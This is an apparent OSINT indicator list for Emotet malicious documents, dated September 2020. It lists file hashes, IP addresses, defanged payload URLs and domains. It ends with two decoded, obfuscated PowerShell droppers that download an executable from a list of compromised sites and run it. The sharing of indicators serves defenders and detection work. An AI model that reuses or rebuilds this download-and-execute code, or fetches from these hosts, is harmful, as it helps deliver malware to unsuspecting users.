Emotet_Doc_out_2020-09-18_14_00.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
c68b2be94aaee607635cd2becf20f8fed9be32225970b5572ae7c83a643b7211
fd6a23dc8063cd09eb09f8a8e111fb0c19101361ec55802cc799481e9047ee69
b42e69393fa458ca73822fb6b7dab4911069668786030a5a6d1ae3b67e107e44
4c8ce870a9ee4d6f0f57a5f70788d9325d958acaf002abf30133606b8ac4d3e3
ad4eb965cb471c7a137b9037c732d53cae47f7d73467cddddf88cfee5b615744
fd659c59f931854b96e0428e622a370da964253713c66c1b28343011322629da
b66215c81ae8df5da62c75848142dac423c6b48bb860d3117eb6cb9d65e8399a
66d95a630376c2acfd2946fcec3ec5d5e076028bf1c48c388939a3f054c1a6b7
3c558e63407682d8fee665283a24bb73c5839f85317215925264c1b15071b061
3c04b25b3db13173771d70f4aa9fd25006b34fc0c02f707f2dbd8f9b15938720
ee7f615648104a41d003de9bf9567f5473569322da47d33def380dbda210864e
2d8ed5e3ab00fa8a391a74010c5c60103922c5646f56544f780c761f73b20aeb
018f912e134b424700bb01c6a3b3b30d8337eefec291cf518e31c8c4eda6f3f1
183d2eb07d136cfe5f6d2657372d049e778254539c5793558efa55af754b5c38
1cba542ea755572052ee0ee05629e5f1a0b3161fc11106ad6e2679fc5ee2a6f4
58bd7739a1a006ece6b332089b3495f7a5d43baf7f66aa3dfcce0ff1c5e8e098
dca5c450c7d663b7ddd8657472fba6593c71ce0a7d7bff9eb98f72a5bcd57228
f250226924bb32a4e80192c9ae83d43710a49f1d3827052c6e75c6f53e518883
8e53c80df5380a098783ffbee94ed572d63fecf8753904f25a12075657f1d4de
8f433669bafea35f75ac63a4e6aba4cb6345029b4f5d32f42c177071467f9623
dc0b178d082fb9ef3479c57bb72a459f9129a9dec9ae09543e29610b27df1baa
0df431c411b6f60ead1ff2fdea0f2d4d694e639e4abe69a078792118997f8a84
c5860ceb1f0030db0b4e716f600d818fb77b6d0ae4a2154291cf4fae1856cd7b
3902190a013506ce9d9a565c38db09efd0f34de99da36d42c56fcf1bd9cac9b4
95aa58c779d17b78ffab83759ad0e70fdf40edf24f573b20839e2da83896d55a
55493f1a5e4d74c610e7f6d841c23875ad57bb9b0fb2cd5f11d7dd9753a01fe2
1783b7210fc11d49c254e9d01607f32e9124044eebc736c34bf7d3fe06d7c0b0
f7e1fe4839c50d856348e43ae96317d626904298293e3a0c3c4c1f8934847e58
f7e1fe4839c50d856348e43ae96317d626904298293e3a0c3c4c1f8934847e58
06c9227d4059187168fe843f5a2e505de30fd0b57bd50e63a3ec103241277414
06c9227d4059187168fe843f5a2e505de30fd0b57bd50e63a3ec103241277414
279d2ffef26dd65fe6e5f9340f1f68b1ee8613a2b580b94cd1817d0f236502da
7d6af6fb5524fab475918225161ccfa03fd6b0893b5d6aab343555908978e002
4b552a4b1d58e620d17d255c9d618066b0dfceab6d7146304cea2afbfc53b4ef
83676faad35894bb04262d898f1279995a52ca4f91f343223e0403b6c915311e
cdbddc6e344dca0161e590649d5937d6271bd7c6fd53cdfac8ac5f235b4b2ad0
18764f4bd3999e51c2208f2cc84537d78d6537995d6e04aad6a4cce57a38d718
c14f6ea04faae9e49d10a9058b2f2ac09c82eab2a9c38bafc8e1d75209c9b927
a55304610ff46618fd3e74586f731acca7681d1cadbc70b8d0f04e644b5c9c84
4ad5afded81de6033a833a3dbd188cf2928e290e3cb5e843b00b2e7e52c41357
594585416433605da17c1488ae1060b963d6ee101a0cb4661e8fd9218d96acad
6c87c3c0acb5c7c76282b4f9327967f3405cdf95980d565c690fe1a7c6caf189
a0f68be0d2f4eeee99c687b8f3ebec6787f6592e6d9a1e6c3ef516b7ffa6afea
50d031dc2150d0cfd005c31c6b7ec804a5a1c2bf4c2f3ad5a1ea2b7378fcbf7f
406ba390a9cc247eb6e2de55fb700b879297ada49146feba89c7ffcfb698d653
82e331bd54e99b710c3f3446239c18c0ac59e4b668cfcc1b78c1d4217173f865
5c19e85599dfe9113b66fc72eabb81a8b793504e756111fcf93ee17b572698f3
8116e0ec558a71b144d6212ee1d386b79b9160668257180f288b1b979b494059
067b6c601b97d9573b74bd1ce702e0e904b1a6853984f51334eb17b7e5394ba5
37adedb2ef245a78142b80b0da888715d3abb817111e00ae9f6c2976a79136f4
2121c5bc91b394da5845d8effc92948979f57c4bf252ffd09451fda76e1c273b
9ac8bfcba379dd0e17620a799cb1c82e35207107771dc35a9966db6c9e4444e5
36919712f986c81feab840bee68faa72d3c7d9ba61a8cfd186b6b1b1190f3277


IPs:
104.24.100.126
104.24.101.126
110.4.45.182
128.199.16.135
13.235.119.142
161.35.45.168
172.67.195.215
177.185.196.31
181.88.192.49
185.216.113.70
185.216.113.72
203.195.224.199
204.11.59.195
216.244.91.100
35.208.220.110
35.208.31.165
35.209.96.32
35.214.150.236
37.122.210.206
43.225.64.174
46.17.172.197
47.94.221.221
64.40.126.97
66.76.73.231
67.208.116.218
68.66.226.82
88.99.212.116
88.99.212.84
91.239.206.128
94.73.145.113
96.30.11.220



URLs:
hxxp://hoagietesting10.com/wp-content/SJ/
hxxp://degepro.com/eTrac/s9/
hxxp://hbprivileged.com/info/rp/
hxxps://shoyannutrition.com/wp-includes/B4e/
hxxps://ictsmkn2cibar.org/cgi-bin/N/
hxxps://povedavicedo.com/wp-admin/d/
hxxp://mbsolutions.ge/wp-admin/eRY/."sPL`IT"[char]42;
hxxps://haikouweixun.com/jn5/Rbp/
hxxp://carolinacanullo.com/js/hllPT/
hxxp://megasolucoesti.com/R9KDq0O8w/B3KqPpe/
hxxp://www.insulution.org/wp-admin/swift/swift/y318LGM/
hxxp://petafilm.com/calendar/6kOpwrt/
hxxps://dev.contractdevs.co.uk/hbbny/Kv9/
hxxp://blog.penmman.com/wp-content/uploads/1ECbn9K/."sP`lit"[char]42;


Domains:
hoagietesting10.com
degepro.com
hbprivileged.com
shoyannutrition.com
ictsmkn2cibar.org
povedavicedo.com
mbsolutions.ge
haikouweixun.com
carolinacanullo.com
megasolucoesti.com
www.insulution.org
petafilm.com
dev.contractdevs.co.uk
blog.penmman.com


Decoded Base64 Powershell:
����^�$Elxq9xi=An2r62c;
.new-item $EnV:uSerPRoFilE\pRhXuKQ\o5e1pSe\ -itemtype DIRECTOry;
[Net.ServicePointManager]::"SE`CUrit`yPr`oto`COL" = tls12, tls11, tls;
$Wa49o65 = Cyoseyaln;
$Gx4iin7=Tchou0j;
$P5h4r90=$env:userprofileIWFPrhxukqIWFO5e1pseIWF."rePlA`Ce"[CHAR]73[CHAR]87[CHAR]70,[strING][CHAR]92$Wa49o65.exe;
$Qgu_i43=Q3dx0sl;
$Ks7ijfq=.new-object nEt.WEBcLiENt;
$M_avryz=hxxp://hoagietesting10.com/wp-content/SJ/
hxxp://degepro.com/eTrac/s9/
hxxp://hbprivileged.com/info/rp/
hxxps://shoyannutrition.com/wp-includes/B4e/
hxxps://ictsmkn2cibar.org/cgi-bin/N/
hxxps://povedavicedo.com/wp-admin/d/
hxxp://mbsolutions.ge/wp-admin/eRY/."sPL`IT"[char]42;
$C4ov23e=Pe__v1d;
foreach$Q9g__ml in $M_avryz{try{$Ks7ijfq."DO`w`NL`OadFile"$Q9g__ml, $P5h4r90;
$Gsb52o9=Wqwrkj2;
If .Get-Item $P5h4r90."l`engTh" -ge 24943 {.Invoke-Item$P5h4r90;
$Wk3uy76=Fnd5338;
break;
$Rnrqrv1=Y1kgydm}}catch{}}$Tizqm7w=F3ua5xc����^�$Nlp7jzj=Uzlip6a;
.new-item $env:USerPROfilE\Z1hF13C\jQ8M_45\ -itemtype DIRectOry;
[Net.ServicePointManager]::"S`e`Cu`RitYPRoToc`Ol" = tls12, tls11, tls;
$K7p72pz = Ru6ojr1ir;
$Bdljqwb=Jp_4ukr;
$Ztmquiw=$env:userprofileSo5Z1hf13cSo5Jq8m_45So5."r`epl`ACe"So5,[strING][CHaR]92$K7p72pz.exe;
$Jar5gtp=Rp9q2cw;
$Lf3ppwf=&new-object NeT.WebCLIeNT;
$Koe1e52=hxxps://haikouweixun.com/jn5/Rbp/
hxxp://carolinacanullo.com/js/hllPT/
hxxp://megasolucoesti.com/R9KDq0O8w/B3KqPpe/
hxxp://www.insulution.org/wp-admin/swift/swift/y318LGM/
hxxp://petafilm.com/calendar/6kOpwrt/
hxxps://dev.contractdevs.co.uk/hbbny/Kv9/
hxxp://blog.penmman.com/wp-content/uploads/1ECbn9K/."sP`lit"[char]42;
$Kswf5sj=F_sw57a;
foreach$Fno5eqw in $Koe1e52{try{$Lf3ppwf."Do`wnL`oaDfi`Le"$Fno5eqw, $Ztmquiw;
$Xgdz2xv=Rhvazwz;
If .Get-Item $Ztmquiw."len`gtH" -ge 25880 {.Invoke-Item$Ztmquiw;
$Uocyli6=Uxha5k5;
break;
$Jtv08q3=Brw9iav}}catch{}}$F3bs99w=G90aot5